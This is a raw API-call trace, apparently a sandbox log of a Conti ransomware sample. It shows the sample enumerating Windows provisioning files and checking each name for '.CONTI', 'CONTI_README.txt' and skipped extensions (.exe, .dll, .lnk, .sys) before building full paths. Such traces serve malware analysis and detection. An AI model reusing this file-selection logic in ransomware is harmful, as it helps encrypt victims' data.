	[0109.371] StrStrIW (lpFirst="367__Connections_Cellular_OJSC Sibirtelecom (Russian Federation)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.371] StrStrIW (lpFirst="367__Connections_Cellular_OJSC Sibirtelecom (Russian Federation)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.371] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.371] lstrlenW (lpString="367__Connections_Cellular_OJSC Sibirtelecom (Russian Federation)_i0$(__MVID)@WAP.provxml") returned 88
	[0109.371] GetProcessHeap () returned 0x1720000
	[0109.371] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x166) returned 0x17defd0
	[0109.371] lstrcpyW (in: lpString1=0x17defd0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.371] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.371] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="367__Connections_Cellular_OJSC Sibirtelecom (Russian Federation)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\367__Connections_Cellular_OJSC Sibirtelecom (Russian Federation)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\367__Connections_Cellular_OJSC Sibirtelecom (Russian Federation)_i0$(__MVID)@WAP.provxml"
	[0109.371] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90d7548b, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90d7548b, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90d7548b, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2e2, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="368__Connections_Cellular_OJSC VimpelCom (Russian Federation)_i0$(__MVID)@WAP.provxml", cAlternateFileName="368__C~1.PRO")) returned 1
	[0109.371] lstrcmpiW (lpString1="368__Connections_Cellular_OJSC VimpelCom (Russian Federation)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.371] lstrcmpiW (lpString1="368__Connections_Cellular_OJSC VimpelCom (Russian Federation)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.371] StrStrIW (lpFirst="368__Connections_Cellular_OJSC VimpelCom (Russian Federation)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.371] StrStrIW (lpFirst="368__Connections_Cellular_OJSC VimpelCom (Russian Federation)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.371] StrStrIW (lpFirst="368__Connections_Cellular_OJSC VimpelCom (Russian Federation)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.372] StrStrIW (lpFirst="368__Connections_Cellular_OJSC VimpelCom (Russian Federation)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.372] StrStrIW (lpFirst="368__Connections_Cellular_OJSC VimpelCom (Russian Federation)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.372] StrStrIW (lpFirst="368__Connections_Cellular_OJSC VimpelCom (Russian Federation)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.372] StrStrIW (lpFirst="368__Connections_Cellular_OJSC VimpelCom (Russian Federation)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.372] StrStrIW (lpFirst="368__Connections_Cellular_OJSC VimpelCom (Russian Federation)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.372] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.372] lstrlenW (lpString="368__Connections_Cellular_OJSC VimpelCom (Russian Federation)_i0$(__MVID)@WAP.provxml") returned 85
	[0109.372] GetProcessHeap () returned 0x1720000
	[0109.372] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x160) returned 0x17ca3a0
	[0109.372] lstrcpyW (in: lpString1=0x17ca3a0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.372] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.372] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="368__Connections_Cellular_OJSC VimpelCom (Russian Federation)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\368__Connections_Cellular_OJSC VimpelCom (Russian Federation)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\368__Connections_Cellular_OJSC VimpelCom (Russian Federation)_i0$(__MVID)@WAP.provxml"
	[0109.372] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90d7548b, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90d7548b, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90d7548b, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2dc, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="369__Connections_Cellular_PrimTel (Russian Federation)_i0$(__MVID)@WAP.provxml", cAlternateFileName="369__C~1.PRO")) returned 1
	[0109.372] lstrcmpiW (lpString1="369__Connections_Cellular_PrimTel (Russian Federation)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.372] lstrcmpiW (lpString1="369__Connections_Cellular_PrimTel (Russian Federation)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.372] StrStrIW (lpFirst="369__Connections_Cellular_PrimTel (Russian Federation)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.372] StrStrIW (lpFirst="369__Connections_Cellular_PrimTel (Russian Federation)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.372] StrStrIW (lpFirst="369__Connections_Cellular_PrimTel (Russian Federation)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.372] StrStrIW (lpFirst="369__Connections_Cellular_PrimTel (Russian Federation)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.372] StrStrIW (lpFirst="369__Connections_Cellular_PrimTel (Russian Federation)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.372] StrStrIW (lpFirst="369__Connections_Cellular_PrimTel (Russian Federation)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.372] StrStrIW (lpFirst="369__Connections_Cellular_PrimTel (Russian Federation)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.372] StrStrIW (lpFirst="369__Connections_Cellular_PrimTel (Russian Federation)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.372] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.372] lstrlenW (lpString="369__Connections_Cellular_PrimTel (Russian Federation)_i0$(__MVID)@WAP.provxml") returned 78
	[0109.372] GetProcessHeap () returned 0x1720000
	[0109.372] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x152) returned 0x17ca508
	[0109.372] lstrcpyW (in: lpString1=0x17ca508, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.372] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.372] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="369__Connections_Cellular_PrimTel (Russian Federation)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\369__Connections_Cellular_PrimTel (Russian Federation)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\369__Connections_Cellular_PrimTel (Russian Federation)_i0$(__MVID)@WAP.provxml"
	[0109.373] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x901fba3a, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x901fba3a, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x901fba3a, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x28e, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="36__Connections_Cellular_Grameen Phone (Bangladesh)_i0$(__MVID)@WAP.provxml", cAlternateFileName="36__CO~1.PRO")) returned 1
	[0109.373] lstrcmpiW (lpString1="36__Connections_Cellular_Grameen Phone (Bangladesh)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.373] lstrcmpiW (lpString1="36__Connections_Cellular_Grameen Phone (Bangladesh)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.373] StrStrIW (lpFirst="36__Connections_Cellular_Grameen Phone (Bangladesh)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.373] StrStrIW (lpFirst="36__Connections_Cellular_Grameen Phone (Bangladesh)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.373] StrStrIW (lpFirst="36__Connections_Cellular_Grameen Phone (Bangladesh)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.373] StrStrIW (lpFirst="36__Connections_Cellular_Grameen Phone (Bangladesh)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.373] StrStrIW (lpFirst="36__Connections_Cellular_Grameen Phone (Bangladesh)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.373] StrStrIW (lpFirst="36__Connections_Cellular_Grameen Phone (Bangladesh)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.373] StrStrIW (lpFirst="36__Connections_Cellular_Grameen Phone (Bangladesh)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.373] StrStrIW (lpFirst="36__Connections_Cellular_Grameen Phone (Bangladesh)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.373] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.373] lstrlenW (lpString="36__Connections_Cellular_Grameen Phone (Bangladesh)_i0$(__MVID)@WAP.provxml") returned 75
	[0109.373] GetProcessHeap () returned 0x1720000
	[0109.373] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x14c) returned 0x656c158
	[0109.373] lstrcpyW (in: lpString1=0x656c158, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.373] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.373] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="36__Connections_Cellular_Grameen Phone (Bangladesh)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\36__Connections_Cellular_Grameen Phone (Bangladesh)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\36__Connections_Cellular_Grameen Phone (Bangladesh)_i0$(__MVID)@WAP.provxml"
	[0109.373] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90d9b6fb, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90d9b6fb, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90d9b6fb, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x315, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="370__Connections_Cellular_Uraltel (Russian Federation)_i0$(__MVID)@WAP.provxml", cAlternateFileName="370__C~1.PRO")) returned 1
	[0109.373] lstrcmpiW (lpString1="370__Connections_Cellular_Uraltel (Russian Federation)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.373] lstrcmpiW (lpString1="370__Connections_Cellular_Uraltel (Russian Federation)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.373] StrStrIW (lpFirst="370__Connections_Cellular_Uraltel (Russian Federation)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.373] StrStrIW (lpFirst="370__Connections_Cellular_Uraltel (Russian Federation)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.373] StrStrIW (lpFirst="370__Connections_Cellular_Uraltel (Russian Federation)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.373] StrStrIW (lpFirst="370__Connections_Cellular_Uraltel (Russian Federation)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.373] StrStrIW (lpFirst="370__Connections_Cellular_Uraltel (Russian Federation)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.373] StrStrIW (lpFirst="370__Connections_Cellular_Uraltel (Russian Federation)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.373] StrStrIW (lpFirst="370__Connections_Cellular_Uraltel (Russian Federation)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.373] StrStrIW (lpFirst="370__Connections_Cellular_Uraltel (Russian Federation)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.373] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.373] lstrlenW (lpString="370__Connections_Cellular_Uraltel (Russian Federation)_i0$(__MVID)@WAP.provxml") returned 78
	[0109.373] GetProcessHeap () returned 0x1720000
	[0109.373] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x152) returned 0x17ca668
	[0109.374] lstrcpyW (in: lpString1=0x17ca668, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.374] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.374] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="370__Connections_Cellular_Uraltel (Russian Federation)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\370__Connections_Cellular_Uraltel (Russian Federation)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\370__Connections_Cellular_Uraltel (Russian Federation)_i0$(__MVID)@WAP.provxml"
	[0109.374] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90d9b6fb, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90d9b6fb, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90d9b6fb, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2de, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="371__Connections_Cellular_Yeniseytelecom (Russian Federation)_i0$(__MVID)@WAP.provxml", cAlternateFileName="371__C~1.PRO")) returned 1
	[0109.374] lstrcmpiW (lpString1="371__Connections_Cellular_Yeniseytelecom (Russian Federation)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.374] lstrcmpiW (lpString1="371__Connections_Cellular_Yeniseytelecom (Russian Federation)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.374] StrStrIW (lpFirst="371__Connections_Cellular_Yeniseytelecom (Russian Federation)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.374] StrStrIW (lpFirst="371__Connections_Cellular_Yeniseytelecom (Russian Federation)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.374] StrStrIW (lpFirst="371__Connections_Cellular_Yeniseytelecom (Russian Federation)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.374] StrStrIW (lpFirst="371__Connections_Cellular_Yeniseytelecom (Russian Federation)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.374] StrStrIW (lpFirst="371__Connections_Cellular_Yeniseytelecom (Russian Federation)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.374] StrStrIW (lpFirst="371__Connections_Cellular_Yeniseytelecom (Russian Federation)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.374] StrStrIW (lpFirst="371__Connections_Cellular_Yeniseytelecom (Russian Federation)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.374] StrStrIW (lpFirst="371__Connections_Cellular_Yeniseytelecom (Russian Federation)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.374] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.374] lstrlenW (lpString="371__Connections_Cellular_Yeniseytelecom (Russian Federation)_i0$(__MVID)@WAP.provxml") returned 85
	[0109.374] GetProcessHeap () returned 0x1720000
	[0109.374] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x160) returned 0x17ca7c8
	[0109.374] lstrcpyW (in: lpString1=0x17ca7c8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.374] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.374] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="371__Connections_Cellular_Yeniseytelecom (Russian Federation)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\371__Connections_Cellular_Yeniseytelecom (Russian Federation)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\371__Connections_Cellular_Yeniseytelecom (Russian Federation)_i0$(__MVID)@WAP.provxml"
	[0109.374] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90d9b6fb, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90d9b6fb, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90d9b6fb, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c5, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="372__Connections_Cellular_Mobily (Saudi Arabia)_i0$(__MVID)@WAP.provxml", cAlternateFileName="372__C~1.PRO")) returned 1
	[0109.374] lstrcmpiW (lpString1="372__Connections_Cellular_Mobily (Saudi Arabia)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.374] lstrcmpiW (lpString1="372__Connections_Cellular_Mobily (Saudi Arabia)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.374] StrStrIW (lpFirst="372__Connections_Cellular_Mobily (Saudi Arabia)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.374] StrStrIW (lpFirst="372__Connections_Cellular_Mobily (Saudi Arabia)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.374] StrStrIW (lpFirst="372__Connections_Cellular_Mobily (Saudi Arabia)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.374] StrStrIW (lpFirst="372__Connections_Cellular_Mobily (Saudi Arabia)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.374] StrStrIW (lpFirst="372__Connections_Cellular_Mobily (Saudi Arabia)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.374] StrStrIW (lpFirst="372__Connections_Cellular_Mobily (Saudi Arabia)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.374] StrStrIW (lpFirst="372__Connections_Cellular_Mobily (Saudi Arabia)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.375] StrStrIW (lpFirst="372__Connections_Cellular_Mobily (Saudi Arabia)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.375] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.375] lstrlenW (lpString="372__Connections_Cellular_Mobily (Saudi Arabia)_i0$(__MVID)@WAP.provxml") returned 71
	[0109.375] GetProcessHeap () returned 0x1720000
	[0109.375] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x144) returned 0x656dae0
	[0109.375] lstrcpyW (in: lpString1=0x656dae0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.375] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
